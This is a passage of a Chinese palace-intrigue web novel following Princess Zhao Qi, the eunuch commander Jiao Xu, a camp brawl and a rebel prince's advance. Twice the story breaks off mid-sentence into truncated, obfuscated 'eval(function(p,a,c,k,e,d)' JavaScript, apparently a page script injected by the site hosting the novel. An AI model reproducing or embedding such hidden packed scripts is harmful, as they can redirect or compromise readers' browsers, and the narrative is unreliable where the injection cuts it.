两人见赵琦和郁离神色镇定,也不羞恼为难他们,当真便在原地等着他们去请王府的人来对认。先叫住赵琦的那个一时便有些迟疑起来,正犹豫着还要不要去请人时瞥眼看到一片绯色的袍角,脸色一变,忙行礼问安。 “督公。” 焦勖瞥了二人一眼,眸光扫向见他过来即刻侧过身去佯装不认识的赵琦主仆二人。 郁离唯恐他认出来了,毕竟她们和这位督公打过不少照面,除非他失忆,不然只是换了身男子的衣服哪里就能突然变得不认识了。 她一面假作闲看风景一面伸手拽了拽赵琦的衣袖,悄声急道:“怎么办啊郡主?” 赵琦躲开焦勖打量的视线,心中暗自懊恼,怎么偏碰上他了,她这娴静端庄的世家贵女形象是不等入京便要被戳穿了? 她正犹豫着是破罐子破摔索性不认还是就此打道回府时,忽听焦勖温声开口。 “王爷还有些事忘了嘱咐二位,二位随我出来,边走边说。” 焦勖定是认出她们了,只是他问也不问就帮她们遮掩却是出乎赵琦意料的。 赵琦扬眉望向焦勖,有些诧异。 督公对着区区两个王府护卫怎的如此客气,两个厂卫心中都觉怪异,却也不敢多问。听了他的话忙退到一旁让行。 赵琦跟在焦勖身后,打量的目光落在他身上。 他照旧一身无甚新意的绯色蟒袍,腰身极细,在她面前时,总是微微垂着脸,一副温眉软目的恭顺神态,无论哪回见着,全身上下都是严丝合缝一丝不苟。 这还是她第一次从背后观察他,他走路的姿势不紧不慢,像一只鹤,一只被折了翅膀的鹤。 赵琦忽地一愣,她怎么会想到这个形容,他们才只认识了这十来日,正经打交道才几回,她哪里就能知道他是什么样子了。 赵琦的目光过于直白,带着探究落在他身上。 焦勖不觉脚步一顿,即便赵琦此时看不见他的脸,他还是下意识将眉眼垂得更低了些,好似唯恐有人会看出他的心思似的。 三人一路默默行着,俱都无言。 直走到寂静无人处,焦勖才顿住步子,恢复了原有的模样,含笑转过身道:“方才唐突了郡主,臣就送到这里,郡主请自便。” 赵琦扬眉笑了笑,转着手里的马鞭觑眼看着焦勖。 “焦大人不问问?” 焦勖低眉敛目,不去看她的眼睛,只温声回道:“郡主原是有分寸的人,臣无需多问,只早些回来,免得王爷担心。” 说不清为什么,赵琦忽然就有些看不顺眼他这幅温驯至极的模样,难道这张脸上就没有其他的表情。 赵琦忽的抬起马鞭托住焦勖的下颚,将他的脸扬起,满意地看到那张脸上终于露出了低眉敛目以外的表情。 惊诧的,慌乱的,无措的,不敢置信的,在那双漂亮的眼睛里全都有了。 12. 第 12 章 焦勖浑身僵硬,瞬时便直从脸红到了脖子,下意识又垂下眼帘,唯恐自己露出一丁点心思讨了赵琦的厌。 打量着焦勖那张艳色无双的脸,赵琦不禁想,也许文竹那句话说对了,食色,果然性也,不然实在也没有别的话可以解释她此刻登徒子般的无赖行径。 耳闻得郁离的脚步声渐近,赵琦笑着不紧不慢地收回马鞭,语气如常道:“今日多谢焦大人了,焦大人也早些回去歇息吧。” 语毕,惊雷已兴奋地跑了过来,围着她打圈嘶鸣。赵琦抚了抚它的脖颈,翻身跃上马背。 惊雷高兴地扬起前蹄,赵琦稳稳地立在马背上,回身看了眼已又垂下脸的焦勖,他面上的艳色尤未散尽。 她收回视线,一夹马肚,惊雷便如离弦之箭一气飞奔了出去。 赵琦纵着马一口气跑了五六里地,耳边净是呼啸而过的风声,间杂着鸟啼鹊鸣,心底顿生‘天高任鸟飞’的豪情,只想就此打马而去,山海纵横,那才是真的畅快。 郁离打马跟在赵琦身后,眼见着她越骑越快,惊雷只如那离弦的箭地似的眼看快要没影,忙一扬马鞭紧往前追赶,一面又扬声喊道:“你等等我啊郡主,我可追不上你了!” 赵琦疾驰不停,笑着回头,晚霞下明眸皓齿,顾盼生辉,端的是飞扬神采。 “我在前面凌波亭等你!” 语毕又一扬鞭,连马蹄声也已远得听不清。 二人此时行的是反方向,凌波亭原是来时路过的一处八角亭。郁离赶到凌波亭的时候,赵琦正托腮坐在坡边看远处星子闪烁,惊雷在她身边不远处悠哉游哉地吃着草。 郁离放了追风自去吃草,一蹦一跳地走到赵琦身边同她一般模样坐下托腮望着天际的两三点星子。 “郡主,你在想什么?” “想我娘。” 当年她娘从这条路去往陆州,而今她又沿着这条路返回京城,不知这山间的风,她旧时是否也曾吹过? “她若还在,见咱们这般畅快,也定要来一道打马快意一遭。” 赵琦的声音并不伤感,说完又笑道:“要是有酒就好了,清风明月,再有一壶酒,那便更快意了。” 她话音未落,郁离露着小虎牙得意地解下腰间的水袋递到她面前。 “郡主你看这是什么?” 赵琦看着她圆睁着眼睛一脸求夸的得意模样,哪还能不明白水袋里装的是什么。 “酒?”赵琦哑然失笑:“你哪里来的?” “我偷偷倒了半壶左长史泡的药酒。” 赵琦笑着接过水袋,揭开盖凑到鼻尖闻了闻,一股微苦的酒香味沁入鼻腔。她仰头就着水袋喝了两口,笑着递回给郁离。 这嗜酒的毛病郁离跟她主子学了个十成十,笑着接过也饮了两口。 主仆二人饮过酒,放马吃饱了草,骑马沿原路返回营地。 近了营地时自是不能再肆意纵马,二人翻身下马,牵着马儿慢悠悠地往回走,近了只听西南角的营前人欢马叫,火光晃动,十分嘈杂。 赵琦蹙眉,见有不少从别队出来的兵士满面兴色地往闹动静的那处营地走,一副赶着去看热闹的热切。 她耳力好,离得虽不近,也能听清他们说的话,只听其中一个道。 “快走快走,李副参将和东厂的阉狗打起来了,那群阉狗,往日仗着陛下的恩宠,最是横行霸道目中无人,李副参将可算是给咱京军出气了。” 另一个接过话恨恨地骂道:“狗娘养的阉狗,一群不男不女的妖人,身上少了那把就乖乖地好生在宫里伺候主子,做个好奴才,偏手伸到咱们碗里来,处处争抢功劳,还妄想压在咱们头上,回头撞到爷爷手里来,定要叫这些娘们唧唧的玩意好看。” 那人说到兴头上,似是想到了什么,忽而猥琐一笑,言语暧昧道:“我听说这些没了把的阉人身子软着呢,之前有跟着张都督在禁宫游走的兄弟就睡过不少宫里的小宦官,直干得那些小东西哭爹喊娘的,说是比干女人还过瘾。” 跟他一道的几个听了这话俱都心照不宣地嘿嘿直笑,那人见此便愈发口没遮拦。 “你们说这阉人到底算男人还是女人,他娘的一个个比女人还白,什么时候有机会老子还真想弄两个来尝尝,也好看看到底是弄女人舒服还是弄那不男不女的玩意舒服...” 赵琦听他们阉狗长阉狗短的乱叫,又听了后面那等污言秽语,不觉面色一沉。 她自然知道阉狗这种辱称的意思,那是世人编来讥讽嘲笑那些受过宫刑的宫中近侍的。 宁王府中也有不少宦官,有些是当年跟着祖母和父王离京就藩时过来的,另一些则是这些年宫里陆陆续续下放下来的。 她对宦官本身没有什么恶感,都是人,是人便有好有坏,她向来只对事不对人。宫中那些祸乱朝政,敛财行恶的,她一样厌恶,但是如修德这般本分行事,宽厚温和的,她也绝不会因着他的宦人身份而轻看他。 营地外围灯火不盛,那伙人初时未看清赵琦和郁离的衣着,只以为也是京营的弟兄,说说笑笑,全不避讳,待走进些认出两人穿的都是王府府卫的衣裳时,忙都禁了声,面上讪讪地疾走两步绕道快步走入了西南角的营地。 原本赵琦是不愿多生事端,本不欲理会那边的动静的,庆国公等俱都在,自有人会处理。 听过方才那些话后,她却忽然改了主意。 “去看看。” 说罢她回身将惊雷系在一旁的树上,带着郁离跟了过去。 营地此时人马混乱,都忙着看热闹,也没人管她们。 赵琦和郁离循着人潮的方向靠过去,那处已经里三层外三层围了个不小的圈子。她们只靠在最外侧不显眼处冷眼旁观。 透过人群看向正中,只见东面一排一色青织金锦服的东厂厂卫,为首的是郑秉,西面一排身形魁梧的北营军将。双方俱都冷眉怒目,正冷笑着对峙中。 打眼一看,居然连庆国公蒋盖也赫然在列,脱了朝服,换了一身武将的军服。 赵琦凝眉扫了一圈,蒋盖身后一个满身狼狈的威武大汉正被两个军士架着站在那忍着痛嘶气,面上看不出大伤,但看他那要人搀着的架势,伤应是都在衣服里。 赵琦轻啧了一声,暗道果然很有东厂的风格,叫人吃了亏偏还不能声张。 她再看站在郑秉身后半步身上衣着略微凌乱的那名厂卫,想来应是同那名李副参将对打之人了。看官服,应是个百户,衣着倒还干净,面上也看不见伤,正望着那李副参将阴阴地冷笑。 赵琦不知先前庆国公说了什么,只听郑秉笑着回道:“国公爷明见,明是这位李参将先挑的事,倒要我们的人道歉,卑职若是行事如此不公,往后该如何服众?” 他笑眯眯地,话也说得软和,只眼睛里的冷意却全然不是那一回事。 庆国公已知晓了事情的来龙去脉,是他手下的人无故先骂了东厂的厂卫是阉狗,才和人打了起来,偏偏又技不如人还被人打成这副熊样。 这分明是打他的脸。 庆国公根本不管是非对错,只冷笑一声:“一个小小的百户,居然敢以下犯上,殴打朝廷的四品参将,你们东厂真是好生威风,藐视王法至此,简直无法无天!竟是丝毫不将皇...”他说到这里念及赵琮尚未登基忙又改口:“不将王爷放在眼中。” 三言两语就想将一顶藐视天威的帽子扣在他们东厂的头上,郑秉又岂会肯接,面上冷冷一笑,亦是毫不退让。 “国公爷好生强词夺理,东厂由天子亲领,代表的是天子的脸面,您不妨问问您的这位李副参将,若我们是他口中骂的那个,那陛下又成了什么?” 赵琦听着他们争锋相对的言语,再联想到方才那群京军猥琐下流的讥讽调笑,约略也能猜出些个起因大概了。 建武帝自登基后,便十分宠信身边亲近的宦官,比之朝臣,他更信任身边的近侍。在建武帝的有意纵容下,不少内廷中人开始将手伸向了前朝。这自然导致了朝臣的厌恶,此其一。 二来则是骨子里的傲慢,就如钟鸣鼎食的富贵人家出身的子弟不愿与贫寒庶民为伍是一个道理,进士乃至世袭勋贵等豪门出身的朝臣自然也看不上宫里奴才出身的宦官。 比如庆国公和武安侯两个,分明也不对付,明里暗里地互争互斗,但只要事关东厂,他们两个立时便能放下恩怨合作。 赵琦虽不知朝中派系是如何划分,但至少有一点她现下已确定,宦官在其间,显然是自成一派。 犹记得当年权势滔天的建武帝大伴何进兴,后来的权宦黄香,都曾掌过东厂,借此监捕朝臣,铲除异己,祸乱朝廷鱼肉百姓多年,是以东厂可恨,原也怪不得人。 只是与这些人相比,后来居上的焦勖要克制得多,东厂自到了他手上后,虽也依旧血气森森,声名在外,但有一点,他们不再肆意拘捕虐杀平头百姓。 在赵琦看来,庆国公等与东厂的缠斗,不过就是为了争权夺利,又有谁比谁干净。他们这些人看不起东厂的人,自己又好到哪里去了呢。 郁离撇嘴,小声在赵琦耳边道:“大老爷们,技不如人还去找帮手,也不嫌丢人。” 这点赵琦也十分看不上,既是私下独斗,分了胜负若不服,自己下去勤学苦练,来日约了再打,赢回来便是,如此小气行径,半点没有英雄气概,亏得还是个参将。 正不齿着,北面的人群忽然自动分出道往左右急退开去,由那条众人避如蛇蝎的小道中间走出个佛爷似的温眉和目的人,绯色蟒袍在灯火映衬下,如溢彩流光,分外夺目。 焦勖面上照旧是那副万年不变的菩萨低眉般慈悲温和的笑容,目不斜视 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“督公。” 焦勖轻应了一声,漫不经心的目光扫了一眼庆国公身后那被人搀着的李副参将,笑着朝庆国公略施一礼,温声开口。 “事我已知道了,国公爷息怒,两个小小的厂卫副将言语冲突进而在营中私斗,那是他二人错了规矩,原是些小事,何必叫他们扰了国公爷的清净。” 他一句话便将此事定了性,由东厂和北营的冲突轻飘飘地变成了东厂单个厂卫和北营单个军官的个人恩怨。 庆国公能不拿正眼看郑秉,在郑秉面前倨傲嚣张,是因为郑秉不过一个小小的东厂掌刑千户,但焦勖是司礼监掌印兼领东厂提督,陛下虽没了,他还有太后这个靠山,眼下正受用着,明面上的面子却是要卖三分的。 庆国公冷哼一声,皮笑肉不笑地应道:“那依督公之言,该当如何处置?” 焦勖眉也没抬一下,只是语气温和的笑道:“虽则是他二人的私怨,但他二人当值的时候公然械斗,大声喧哗,到底也忒没规矩。”正说着忽而语调一转:“本督素日便是如此教你的么曹海?” 他面上的笑意未敛,那名唤曹海的厂卫面色一变,立时单膝跪地告罪。 “属下知错,请督公责罚!” 庆国公看着跪地请罪的曹海,以为焦勖是要示弱,面上不觉露出些得意之色,正要得寸进尺一番时,却听焦勖只是轻飘飘道:“念你是初犯,罚你一月俸银,若有再犯,本督必不留情。” “属下领罚,谢督公教导。” 才一月奉银,这算什么罚?庆国公蹙眉,谁人不知东厂厂卫从来不是靠俸禄过活的。 还不待他发作,焦勖复又笑着温声道:“原是我治下不严,倒叫国公爷看笑话了,好在他二人未惊扰到王爷和郡主,不然我等恐是难辞其咎。如此人我便领回去了。” 庆国公未及听完已气得脸色涨红,他道怎么今日如此好脾性,原来是等着搁这指桑骂槐说他治下不严呢。 你一个阉人且能治住手下的人,他堂堂庆国公还能管不住不成。 庆国公厉声怒道:“李德武,王爷和郡主在此,你私自妄为,险些冲撞了他们,罚俸三月,回营好生反省,若有再犯,就脱了这身衣服滚回家去!” 语毕看也不看焦勖,横眉怒扫一圈四周噤若寒蝉的军士,骂道:“还不都散了!聚在这里是想等王爷知道了来请么?” 赵琦看着一甩衣袖满脸怒容败走的庆国公,微一挑眉,审视的目光重又落回焦勖身上。 果然好手段,温眉软语便叫庆国公碰了一鼻子灰。 正想着,谁知焦勖忽然转身,两人的目光不期然地撞上。 四目相对,焦勖唇边的笑忽的一滞。 赵琦见他发现了,倒也不躲避,目光坦坦荡荡地回望过去。 她怎么会在这里,又听到了多少,那些骂他们阉狗妖人的污言秽语她是不是都听到了。 焦勖的心情忽的便有些不好起来。 她越是光明磊落,便衬得他愈见不得光。 焦勖没再垂下脸,就那么直直地望着赵琦,既然看到了,那就索性看得更清楚些吧,看清楚他如今是何等人不人鬼不鬼的模样,看清楚他是何等脏污不堪,然后离他远远的吧。 这是焦勖第一次直视她的眼睛,那双眼睛漆黑如墨,叫人一眼望不到底。她心底陡然生出凝视深渊的恐惧来,好像下一秒里面就会冲出什么阴森可怖的鬼怪,将她也拖进那深渊。 赵琦忽地打了一个寒颤,有些不敢再去看那双眼睛。 也就是那一瞬间,她心底忽然生出一个荒谬的念头。 那双眼睛的主人在向她求救,如此直白的,清晰的,毫不闪躲的,求她救他。 13. 第 13 章 浮动在那双眼睛里的情绪太压抑了,头一回,赵琦对上焦勖的眼睛时,先撇开了眼。 救我,求你! 赵琦忽觉可笑,她今日是着了什么魔,只是一个对视而已,她怎么会生出如此荒谬的念头。 一个位高权重的大宦官,有心计有手段有靠山,有什么好需要她救的,何况他们不过点头之交,就是有,她又凭什么要去救他。 赵琦渐渐沉静下来,也无心再逗留,未再看焦勖一眼,转身头也不回地走了。 焦勖双唇绷紧,再也维持不住唇角的笑意。 原来他还是会在乎的。 身体残缺,被世人骂妖人,阉狗,奸宦,再也没有喜欢人的资格,他本已习惯了的,他明明不在乎了的。 那么为什么此刻对上她的眼睛,他忽然又恨了起来呢? 曹海掀开营帐的帘门察觉里面有人,面色一变,立时挺刀戒备,待看清昏黄油灯下那人的面容时,紧绷的身体方才松弛下来,继而面露诧异。 “良平?你深夜来此莫不是督公有何吩咐?” 良平是贴身侍奉督公的人,若是无事是不会来他们这里的。 未及他说完,忽见良平扬手扔了个金灿灿的物什过来,曹海忙伸手接住,耳听得良平挺颚笑语。 “主子赏你买酒喝的。你在营地滋事,当罚!你没丢东厂的脸,当赏!” 曹海没想到还能有赏,听了面上立时便眉开眼笑起来。他这一笑才让人注意到,居然还是个娃娃脸,看着面嫩得很,也完全没了方才阴恻恻的模样。 “多谢主子请酒。” 曹海一面说着一面喜滋滋地将金子揣进怀里。 宦官们无牵无挂,权留不住,色用不上,唯爱个财,尤以这黄白之物最叫人欢喜,摸着趁手,看着喜庆。 良平瞧着他那没出息的样子,笑着揶揄:“得亏是打赢了,没丢了咱们东厂的脸面,不然准有你一顿好板子。” 曹海面上立时得意起来:“那是自然,若不是顾念着王爷和郡主同行,早剥了他一层皮了。” 赵琦做了一个梦。 梦里她在涯舟书院的后山坡追一只野鹿,跑着跑着鹿忽然钻进一丛蔷薇后不见了。 赵琦小心翼翼地走到近前,扒开野蔷薇花丛,便看见那鹿十分温驯地伏在一个席地而坐的少年身侧,半点不怕人的样子。 那野鹿还只是只幼鹿,尚未长出犄角,正用头轻蹭少年的腰臀。 少年生得唇红齿白,似是被那鹿蹭到了痒痒穴,一面笑一面拿手轻轻抵住鹿头,笑闹着逗着那野鹿玩。 恰好一阵风过,忽的吹落满树的桃花,落得那少年满头满身,他神色温柔,眉眼俊秀,叫桃花也黯然失色。 赵琦圆睁着大眼睛愣愣地看着那少年,忽而起身穿过蔷薇花丛径直朝那少年跑过去,直扑在少年膝头,笑得十分乖巧。 “美人哥哥,阿若喜欢你,你陪阿若玩好不好?” 少年被她叫愣了,又听她十分直白的说喜欢,小小少年忽的红了脸,羞涩地抿唇笑问:“你是谁家的小孩,是迷路了吗?” 小赵琦依旧眨巴着大眼睛一错不错地看着少年,摇了摇头,又用软乎乎的嗓音问少年。 “美人哥哥,它是你的鹿吗?你让它别动好不好?阿若想摸摸它。” 她一口一个美人哥哥,叫得少年直从脸红到了脖子,悄声同她商量:“我让你摸鹿,但是你不要再叫我美人哥哥了,行吗?” 说到美人两个字的时候,他声音忽的变小,连耳朵都红了。 小赵琦扒在他膝上,委屈道:“我不能叫你美人哥哥吗?” 少年红着脸,十分窘迫的样子,却仍是耐心同她解释:“我是男孩子,美人是形容容貌秀丽的女子的,所以你不能这样叫我,明白了吗?” 小赵琦盯着他的脸看了一会儿,困惑道:“可你就是美人啊,男孩便不能是美人吗?为什么啊?” 她语气天真娇憨,问完一脸乖巧的趴在少年膝头,仰着脸眨巴着一双黑亮的大眼睛望着少年。 望着望着,只是一错眼的功夫,少年忽的不见了,桃树也不见了,连那鹿也不见了。 暮色四合,寂寂无声,萤火忽远忽近地遥遥自四野里飞出。 赵琦怔了怔,摊开手掌,一只漂亮的闪着荧黄色光亮的萤火虫落在她掌心,荒寂的四野被这只小小的萤火虫的光亮浸染,犹如被泼了斑斓色彩的画一般,忽的就整个鲜活了起来。 蛙声蝉鸣,清风明月,远处传来潺潺的流水声。 赵琦寻着水流声走过去,拨开蕉叶,眉眼艳丽的白衣少年手持青竹小网,一错不错地盯着在河道旁上下飞舞的萤火,眉眼端正认真,月光下整个人仿佛在发光。 他赤着脚站在清澈的溪水里,两只裤腿挽至膝上扎成结,露出白皙笔直的小腿,赤着脚小心地在水中缓步慢走,抓住一只萤火虫便小心地放进随身扎着的细纱口袋里装好,一面还不忘温声叮嘱矮坡上坐得极不老实的小姑娘。 “阿若我看到了哦,你别贪玩,你再动来动去,一会儿脚又该肿了。” 赵琦听了这话低头去看,才发现自己不知何时已半抱着膝盖坐在溪边的矮坡上,右腿扭了脚偏还不老实,总想趁少年不注意挪近溪边把脚伸进清凉的溪水里去玩一玩。 少年抓了满满一口袋萤火虫走上坡来,笑着将细纱网袋递给她,随即转身背对着她蹲下身,温声说。 “上来阿若,我背你回去。” 小赵琦欢喜地爬上少年的背,勾住他的脖子笑着卖乖:“阿焦哥哥你别生阿若的气好不好,阿若以后再也不淘气了。” “我没有生你的气,你以后要是再想抓萤火虫,告诉我听,我陪着你一道来,别自己一个人乱跑,像这次幸好只是踩了一个浅坑,只扭了脚,要是跌得狠了伤了腿可怎么办,知道了吗?” 少年一步一步稳稳地背着她往外走,唇边的笑容温柔又纵容。 “阿若记住了。” 小赵琦小小一个人贴在少年背上,搂紧他的脖子贴在少年耳边大声笑着。 “阿焦哥哥你真好!” 少年脸一红,温声纠正她:“你要叫我阿毓哥哥,你总这么叫,长生他们又该笑话了。” 阿焦阿焦,知道他的名字的人还知道她叫的是这两个字,不知道的还以为是在喊阿娇,偏她还又像个小尾巴似的,走哪儿都跟在身后阿焦哥哥阿焦哥哥的叫,弄得长生他们现在一见到他,就齐齐打趣:“阿娇来了。” 赵琦紧紧搂着他的脖子,语气霸道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏末的时候打听消息的人终于回来了,却带回了一个叫赵琦根本不能接受的消息。 焦家祖宅空了,焦家的人死的死,散的散,焦毓也不知所踪。 赵琦已许久未曾想起过焦毓了,一眨眼,居然都十七年了。 时间是个恼人又无情的东西,任是再念念不忘的记忆,也总会有泛白的一天。 于是终于也有一天,赵琦蓦然回首的时候,忽然就记不清焦毓的模样了。 赵琦长吁了口气,穿衣起身。 文竹正好端了洗漱的水盆打帘进来,见她人已穿好了衣服,笑道:“昨儿个回来的那样晚,又抄了半夜的经,我还当郡主今儿会多睡一会儿呢。” 赵琦压下情绪,笑道:“左右马车上无事也是歇觉,倒早些起来抄抄经的好。还有十来日就该到京城了,这经书早些抄完我也早些安心。” 一面说着一面自去洗了脸,让文竹帮着梳了头后,便果真静心抄起经来。 心绪遂也渐渐平静下来,正抄得入神时,忽听帐外鼓声连连。她不觉蹙眉,起身掀帘出来,只见庆国公武安侯并冼正言等人神色慌张地朝赵琮帐中疾步而去。 14. 第 14 章 赵琦见此情状,眉蹙得愈深,快步跟了过去。至赵琮帐前,只见焦勖侍在帐外,难得的亦是蹙起了眉,她愈发觉得事情不同寻常。 焦勖见她来眉不觉蹙得更深,方要行礼,见赵琦抬手比了一个禁声的手势,便立时又收了声。 赵琦只听帐中正在说话的人语气慌张急促,正说到:“...岐王和张振勾连,假造太后懿旨,以内阁软禁太后把持朝政奉旨入京营救太后为名,带兵将京城围了。阁老们速速调动京军营防卫,张振暂带兵退至离城一百里外驻扎,兵部已遣兵符于山东、河南两地都司,令速速调兵拦截岐王,迎取殿下进京。阁老们急命末将快马出京来告知殿下,岐王此刻正带着兵马过来,说是...说是要迎了殿下一道入京营救太后,扫除奸佞,共卫赵氏江山。” 好一个冠冕堂皇的‘共卫赵氏江山’,赵琦听得冷笑连连,太后同内阁已选定琮儿继任皇位,遗诏早已颁布,他所谓的‘奸佞’是谁?他又想扫除何人? 都火烧眉毛了,赵琦眼下哪里还有心思顾念装什么端庄娴静,一把掀开帘帐,又回头喊焦勖:“跟我进来。” 没有理由,比起庆国公等人,她眼下更相信焦勖。 焦勖讶异地抬头望向赵琦,只看见了她利落笔直的背影,他忙垂下脸跟了进去,只安静地随身侍立在她身后。 忽见有人招呼也不打一声就打帘进来,本就因张振和岐王蓄意谋逆而心急如焚的庆国公等人面色一沉,正要扬声呵斥,见是赵琦,不由皱起了眉。 这朝云郡主也好生没有规矩,帐中正在议事,她一个女流之辈堂而皇之地就闯了进来,成何体统! 心中虽都这样想着,到底也顾念着赵琦的身份,且眼下正事要紧,是以又都闭上了嘴,撇过脸且权当她不在。 赵琦自然看见了,眼下也懒得理会,也便顺势装作不知罢了。 赵琮此时面沉如水,正端坐在案前小坐上,见了赵琦打帘进来,面色才略微好看一些。 “阿姐,你都听见了?” 赵琦点头,只听赵琮凉凉地轻笑着,沉着嗓音道:“咱们这些好王叔王兄可是生怕咱们闲住了,半点也不肯消停呢。” 有了献王的先例,赵琦此番已不如先前震惊难以接受了。只是心里仍不免有些可悲,进京这条路远比她想象中的要艰难多了,一个皇位便诱发了数次手足相争,往后只怕也没她想象的那么轻松。 赵琦摒弃杂念,暂且不去管往后如何,先且协力将眼下的难关度过再说。 她拧眉问帐中前来递信的军将:“岐王眼下到了何处?带了多少人马?” 京中遣来报信的那名校尉听了赵琮方才之言,已知晓了赵琦的身份,忙恭敬回道:“禀郡主,末将来时,岐王刚抵卫城,约莫带了有五万人。” 武安侯听了惊了一跳,急色道:“卫城?!那就是说至多不过七日便能到河下?” 赵琦原不熟悉地理远近,听了这话不觉绷紧了面色。她们眼下扎营的地方便是河下府境内,岐王来得好快。 武安侯方一算完,只听冼正言也急了,忙问帐下那名校尉:“那都司的人马几时能到?” “末将是先离的京赶来报信,只知调兵的兵符已着人星夜驰行送去两司,余下便不知了。” 焦勖听到这里,微微蹙眉,心里已察觉出些不对劲来。 且先不论山东都指挥使司,他们眼下就在河南境内,两司明明离得都不远,纵是调令仓促,整兵备马收拾粮草要花些时间,也该先遣前锋营过来通报一声才是。” 他心中略略盘算着,张振本不足为惧,他和内阁俱都早有防备,张振麾下营中也早已安插了他的人,内阁手里又牢牢抓着京营五军,自是能应付。棘手的是岐王,他倒比献王聪明些,知道假借营救太后的名义招兵买马。 这借口虽然拙劣,但眼下宁王尚未正式登基即位,都是赵氏子孙,若是不能速速将岐王捉拿,一旦时日拖得过久,难保不会有人生出异心,趁机浑水摸鱼,到时就麻烦了。 庆国公原是军中出身,军务后勤俱都了然于心,听了冼正言和那名前来报信的校尉的对答后,心中也升起了同焦勖相似的疑惑。 只他担忧的是这些年各都司训练懈怠,一时急令到了自是措手不及,慌乱中思虑不周,少不得这边要再遣两个人过去整备督促,叫其快些过来为宜。 是以庆国公忙拱手道:“殿下,营地距河南山东两都司不过一日夜的距离,此刻速命人快马加鞭持了殿下手谕过去传旨督促两司兵马速速前来为是。” 驸马都尉许知安忙也应声附和:“国公爷说的有理,眼下应速命两司兵马早日前来协同护卫,叫岐王不敢继续近逼。” 赵琮点头应允,命修德拿来笔墨纸砚,亲写了两封谕旨,加盖了金符,着庆国公遣人快马加鞭速速送了出去。 大约是习惯使然,焦勖思虑事情的时候总是会下意识做最坏的打算,然后以此为设想来谋划安排。 他心里隐隐担忧两司军马调兵的事恐有变故,想了想,让出两步从赵琦身后走出,躬身禀道。 “殿下,臣请殿下下旨即刻拔营,此去八十里正是渭州城,城池坚固,城中兼有粮仓,入城后关闭城门紧守两日,静待援军,届时也可以渭州城为后方,遣军捉拿岐王。” 这些时日赵琮当众议事时,焦勖几乎未曾开过口,纵是有言,也只在赵琮问话时悄声回他,紧守内臣不妄议国事的规矩,是以此刻忽然正色进言,庆国公等一时反倒不习惯了。 庆国公下意识呛道:“督公这话是何意?殿下既已遣了人督促河南山东两司速速调齐人马前来护驾,眼下方是就地安营休整为上,何必多此一举,叫殿下奔波辛苦。” 武安侯忙也应声声援:“国公爷说得正是,眼下若是拔营赶去渭州,少说也需一日,若是路上正巧两司人马到了,岂不错过了?届时白白的多费了时日不说,还累得殿下跟着担惊受累,依我看督公这话也太歉思量了。” 事急且乱中,赵琮先时并未留神注意焦勖的存在。此刻他冷不丁地出声进言,赵琮方才将目光瞥向他,见他站在赵琦身后错身半步紧靠门帘的地方,除了说话的声音较往日高些,依旧是那副低眉敛目的恭顺模样。 他的提议却有几分在理,但庆国公和武安侯的疑虑也不是全无道理。赵琮到底还年轻,于军务上并不熟悉,正凝眉思索该依哪方之言为上时,只听赵琦忽地开了口,话分明是向着焦勖的。 “国公爷和侯爷的疑虑原是有道理,只是且不说两司兵马这两日是不是一定能到,眼下岐王既已到了河下,留给咱们的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵琦余光瞥见焦勖低垂的侧脸上略显僵硬的神色,不觉扬眉,方才在帐中时分明沉着得很,庆国公武安侯冼正言等一干老臣各个神色慌张,又急又恼,唯独他只略微蹙了蹙眉,神态沉着冷静,正是因为见了他这样,她才没那么担忧了。 焦勖跟着赵琦走至她营帐前,眼见着她就要掀帘入内,想到帐内便是她更衣起卧之地,面色忽的一僵,忙顿住步子不敢再跟下去。 凝了凝神,他让自己语气尽量自然地开口:“臣惶恐,不知郡主召臣来有何事吩咐?” 他忽然出声,赵琦掀帘的手顿住,回身看他时,只见他面色又比方才更生硬了些,见她回身还自以为不着痕迹地又往后退了半步。 赵琦似笑非笑地望着焦勖,不答反问:“焦大人很怕我吗?” 这话戏谑意味十足,焦勖忽的就想起了昨日她也是这般姿态,冷不防地拾起马鞭扬起他的脸,让他的心思在日光下无所遁形。 焦勖忽的颤了颤,忙将脸垂得更低了些,藏在宽袖广袍中的双手紧张地蜷缩在一起,开口的语气却愈发地恭敬守礼起来。 “郡主是主,臣是奴,奴才怕主子,本是天经地义之事。” 谁要听他说这般自损自辱的话,赵琦咻地蹙眉:“什么主子奴才,我不爱听这种话,往后别说了。在我这里,人就是人,有情有义纵是奴是仆也值得敬重,无情无义纵是王侯将相也粗鄙不堪。” 她话说得义正言辞,焦勖愣了愣,下意识张了张嘴,想问她,真能不在乎吗? 但他到底是没有问出口,赵琦可以天真,可以肆意纵情,他希望她这辈子能永远如此随心随性地过活。可他不能,主子和奴才,金枝玉叶的郡主和低贱阴暗的宦官,如此泾渭分明的一条线,他这辈子也跨不过去的。 15. 第 15 章 营地众人草草吃过早饭,埋灶拔营,大队人马即刻往渭州城行进。约莫行至离城十来里地外时,早先遣了出去打探岐王大军消息的一个探马已折回追了上来。 在后方押队的武安侯忙纵马赶至赵琮的车边,告了他知。赵琮命武安侯带了那探马到车前来,又命卫宪去召行在前列的庆国公等过来。 庆国公等过来时,只听那探马正急急地向赵琮奏禀。 “禀殿下,伍参将探得岐王遣了先锋营一万五千人正快马疾行往河下府来,恐要不了三日便能抵达河下,急命小人快马将消息传回。” 庆国公几个听完,齐齐都变了脸色。 尤其是冯国舅,听了差点没昏过去。今晨他起得略晚,等赶到赵琮帐中时,众人已商量得差不多了。他闻得岐王和张振勾连,围了京城意欲逼宫,顿时手足冰凉。 须知不过月余之前,他还在为岐王奔走意欲鼓动冯太后将岐王世子过继到建武帝名下承袭大宝,哪知转眼那狼子野心的岐王就行起了这等掉脑袋的谋逆之事。 冯太后那边他尚可搪塞自己原是被岐王的花言巧语所蒙骗,可若是他暗中收受了岐王无数金银奇巧玩物之事被捅破,那他可就跳进黄河也洗不清了。 冯国舅原还心存侥幸,盼着河南山东两司军马能速将岐王捉拿下狱,届时岐王若不知死活胆敢拖他下水,他自可到冯太后跟前哭诉岐王故意栽赃陷害与他,必要是还可悄悄地杀人灭口。 